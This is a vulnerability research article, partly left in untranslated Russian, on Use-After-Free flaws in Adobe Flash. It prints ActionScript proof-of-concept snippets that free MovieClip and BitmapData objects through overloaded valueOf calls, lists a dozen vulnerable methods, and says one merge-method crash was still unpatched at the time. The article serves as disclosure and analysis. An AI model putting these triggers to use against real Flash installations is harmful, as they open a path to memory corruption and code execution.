Sieve called Adobe Flash

    Adobe's still widespread Flash Player product is notorious for its security. Regularly becomes aware of another zero-day Flash vulnerability used by hackers in APT campaigns. The year 2015 was particularly fruitful for such vulnerabilities. A large proportion of critical RCE vulnerabilities were caused by incorrect memory operation: it was possible to write to the freed memory in the Flash process heap.

    In this article, we explored the security of Adobe Flash and found out that many of its “security holes” are chronic and can only be solved by rewriting the code from scratch, while developers put the patch on the patch, which, of course, does not increase the level security. And we will also demonstrate some of the vulnerabilities that we found and are not currently closed!

    Sensational vulnerabilities


    In February-March 2015, similar Use-After-Free vulnerabilities CVE-2015-0313 and CVE-2015-0311 were identified in the ByteArray ActionScript class (you can read about them here and here ). An object of type ByteArray, marked as domainMemory for fast and low-level read / write operations in memory, did not notify domainMemory storing a pointer to it when the pointer to its buffer changed.

    In CVE-2015-0313, the object was deleted in another thread; in CVE-2015-0311, it was unpacked unsuccessfully using zlib. This made it possible to write other objects to the freed memory and modify them, violating class invariants.

    In July 2015, public exploits for the zero-day vulnerabilities of CVE-2015-5119 made a lot of noise .CVE-2015-5122 leaked from the hacked archives of the Italian company Hacking Team. The ActionScript operators for assigning the ByteArray object cell an index value (in CVE-2015-5119) and the opaqueBackground field setting operator in the TextLine class (in CVE-2015-5122) were vulnerable.

    The expected value for such assignments is numerical. If you pass an object of a user class with the overloaded method valueOf as the value of assignment to the ByteArray element / field opaqueBackground, before the assignment, this object will be converted to a numerical type implicitly, with the overloaded valueOf being called. If the valueOf method frees the resources of the ByteArray object / TextLine object before the above assignment, the memory becomes available, but the pointer to it is saved, and it will be written to the freed memory on the heap.

    In general, Use-After-Free vulnerabilities in Flash are another headache for Adobe, as they appear quite often.

    Vulnerabilities in TextField and MovieClip from Google Project Zero


    Such vulnerabilities sometimes contain whole groups of methods of ActionScript classes. For example, a set of vulnerabilities discovered by the Google Project Zero team in the ActionScript 2 methods of the MovieClip and TextField classes allowed freeing up object memory before trying to use it. Some vulnerable methods:

    1. CVE-2015-8412 : The mc object is freed before use when implicitly calling valueOf in the duplicateMovieClip method:

    this.createEmptyMovieClip("mc", 1);
    mc.duplicateMovieClip( "mc",{valueOf : func});
    function func(){
    	trace("in func");
    	mc.removeMovieClip();
            // Fix heap here
    	return 5;
    	}
    


    2. CVE-2015-8044 : The triangle_mc object is freed before use when implicitly calling valueOf in the lineStyle method:

    this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
    	var o = {toString: func};
    	triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);
    	function func(){
    		triangle_mc.removeMovieClip();
    		return "none";
    	}
    


    A similar situation is observed with ActionScript 2 methods of the TextField class (CVE-2015-7652, CVE-2015-8046, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8427, CVE-2015- 8428, CVE-2015-8429, CVE-2015-8430, etc.)

    Seeing this disgrace, we decided to find out if everything is really so bad with Flash security? And ... yes, everything is bad!

    Vulnerabilities in the BitmapData Class


    We decided to look at the situation in other Flash ActionScript classes. It turned out that a set of similar Use-After-Free vulnerabilities was also present in the ActionScript 2 class BitmapData. At the time this class was explored, the latest version of Flash was version 18.0.0.209. Some vulnerabilities (independently of us) were later identified by other researchers, some remained unclosed until version 20.0.0.228 appeared.

    To free memory before using the BitmapData object, the same trick was used with overloading the valueOf method of the user class. This method is implicitly called when it is necessary to convert the class object to type Number. This happens, for example, in the preliminary calculation of the arguments of functions or methods.

    import flash.geom.Point;
    import flash.geom.Rectangle;
    import flash.display.BitmapData;
    class MyClass 
    {
        static var  bitmap1:BitmapData,
        bitmap2:BitmapData,
        bitmap3:BitmapData;
        public function MyClass() { }
        static function vof()
        {
            trace("in valueOf..");
            bitmap2.dispose();
            return 1;
        }
        static function expl()
        {
            trace("in expl");
            MyClass.prototype.valueOf = MyClass.vof;
            var array:Array = new Array(256);
            for(var i:Number= 0; i < 256; i++) {
                array[i] = 0xaaddddaa;
            }
            array[0xFF] = new MyClass();
            var o = new MyClass();
            var rect:Rectangle = new Rectangle(10, 11, 2, 2);
            var pt:Point = new Point(12, 12);
            bitmap1 = new BitmapData(100, 100, true, 0xaabbccdd);
            bitmap2 = new BitmapData(100, 100, true, 0xaabbccdd);
            bitmap3 = new BitmapData(100, 100, true, 0xaabbccdd);
    


    Now we call the vulnerable method of the BitmapData class:

    Bitmap2.hitTest(pt, 1, bitmap1, new Point(0, 0), o);
    


    In this case, the vulnerable BitmapData.hitTest method is called with a parameter of type MyClass (_loc3_ [255]), which is implicitly cast to an integer form by calling the vof function. Inside the function, the memory of the myBitmapData2 object is freed before using a pointer to it. On the heap where the BitmapData data structure is stored, the pointer to the pixel buffer is nullified (also on the heap).

    Not only BitmapData.hitTest is vulnerable. Here is the list of vulnerable methods we found for Adobe Flash version 18.0.0.209, along with the vulnerable part of the code.

    BitmapData.draw
    bitmap2.draw(bitmap1, new Matrix(0.5, array[0xFF], 0.5, 0.5));
    


    BitmapData.copyChannel
    bitmap2.copyChannel(bitmap1, rect, pt, o, 4);
    bitmap1.copyChannel(bitmap2, rect, pt, o, 4);
    


    BitmapData.copyPixels
    bitmap2.copyPixels(bitmap1, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);
    bitmap1.copyPixels(bitmap2, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);
    


    BitmapData.paletteMap
    bitmap2.paletteMap(bitmap1, rect, pt, array);
    bitmap1.paletteMap(bitmap2, rect, pt, array);
    


    BitmapData.floodFill
    bitmap2.floodFill(10, 10, o);
    


    BitmapData.pixelDissolve
    bitmap2.pixelDissolve(bitmap1, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);
    bitmap1.pixelDissolve(bitmap2, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);
    


    Bitmapdata.merge
    bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);
    bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);
    


    BitmapData.getColorBounds
    var z:Rectangle = bitmap2.getColorBoundsRect(array[0xFF], 0xffffffff);
    


    BitmapData.scroll
    bitmap2.scroll(o, 13);
    


    Each of these methods causes dereferencing memory near zero when reading and, accordingly, the crash of Adobe Flash version 18.0.0.209. Some methods cause the crash of all versions up to and including 19.0.0.245, which seems to fix all of them!

    The fact that entire ActionScript classes have security issues is already alarming. But that is not all. It turns out that there are vulnerabilities in the Adobe world that either close or rediscover in the latest version!

    Bug or feature?


    One of the above vulnerabilities, in the BitmapData.merge method, was closed in version 18.0.0.232. It remained closed until version 19.0.0.245, however, since the release of 20.0.0.228, it was again unclosed! The following code causes dereferencing memory around zero and Flash crashes in these versions:

    bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);
    






    If now the source object, and not the receiver object, is deleted in the valueOf method, then such a swf file will cause the crash of all versions of Flash, including the latest for today (21.0.0.182):

    bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);
    


    Посмотрим, что происходит в коде Flash до его падения. Для этого используем дизассемблер IDA Pro и x86-декомпилятор Hex-Rays. Функция sub_12FDF50 вызывается несколько раз при вычислении параметров функции BitmapData.merge, и в последней версии Flash происходит предварительное удаление объекта BitmapData и обнуление ячейки памяти по адресу [esi+0xC8] в функции sub_122DD40 (метка .text:0122DD82 в дизассемблированном коде, строка 19 в декомпилированном коде):



    После вычисления параметров происходит вызов процедуры sub_1230D10:





    Обращаем внимание, что регистр ecx на момент вызова sub_1230D10 содержит тот же адрес, значение по которому было обнулено ранее при вычислении параметров функции BitmapData.merge и обнулении объекта-приемника bitmap2 в методе valueOf.

    In the sub_1230D10 function, the memory is dereferenced next to the address in the [ecx + 0xC8] cell. As you can see, this is the address at which the value was previously reset to zero when the BitmapData receiver object was deleted. The result of this is the collapse of Flash:



    It's unclear what is causing Adobe to reopen previously patched vulnerabilities.

    CVE-2015-?


    Finally, we give one more vulnerability we found. It is not related to memory usage after freeing, but it is a very obvious example of vulnerable code.

    The vulnerability was discovered in debugging versions of Flash for Windows (including browser plug-ins) in conjunction with Adobe Flex Debugger (FDB). It consists in an incorrect search for a value from a linked list in the Flash code and works in the debug version of Flash when the FDB debugger is running.

    The main.swf swf file that we formed in ActionScript 3 code loads another swf file inside itself, expressInstall_.swf in ActionScript 2 code, which accesses an external address:





    For analysis, we will again use IDA Pro and Hex-Rays. When the Flex Debugger is active (for example, during debugging of the ActionScript code), Flash generates an error message when we run the swf that we generated:



    In the sub_C57769 function, a string is calculated that will be output by the sub_B8E6D9 function to the error message after the word “Base”.



    To calculate in a loop from a linked list v4, a cell with certain properties is searched for (* (* (v4 + 24) + 252) == 98). The cycle ends in three cases:
    • if the desired cell is found (* (v6 + 252) == 98
    • if we did not find the desired cell in the list in 256 steps (v5> = 256)
    • if the list has ended (v4 == 0)

    After exiting the loop, the final cell is used in further calculations. There, an error occurs on the swf file we have generated: the cell does not contain the cell with the desired property, and the loop ends at the end of the list. Adobe Flash crashes after exiting the loop with v4 == 0:



    As you can see, the exit code of the loop is vulnerable. Potentially, the formation of such a condition is possible under which an address controlled by an attacker appears in v4. This is possible if the list is longer than 256 values, and the first 256 will not satisfy the property (* (* (v4 + 24) + 252) == 98). Then the while loop will terminate by the condition (v5> = 256), and in v4 the address of the next cell number appears.

    What else can you say?


    Just the other day, Adobe released another patch covering 23 vulnerabilities in Flash, including critical ones. According to reports, one of them is already being used in narrowly targeted attacks.

    We can definitely say that Flash technology, due to chronic security problems, will sooner or later be completely ousted from browsers, and maybe from desktops, no matter what Adobe says. Youtube has been successfully working on HTML5 for a long time. Mozilla has already removed Flash from the standard Firefox distribution. Now it’s the turn of other players in the market - it’s not beneficial for anyone to lower the safety of their product in comparison with competitors. So, flash, come on, bye!

    Also popular now: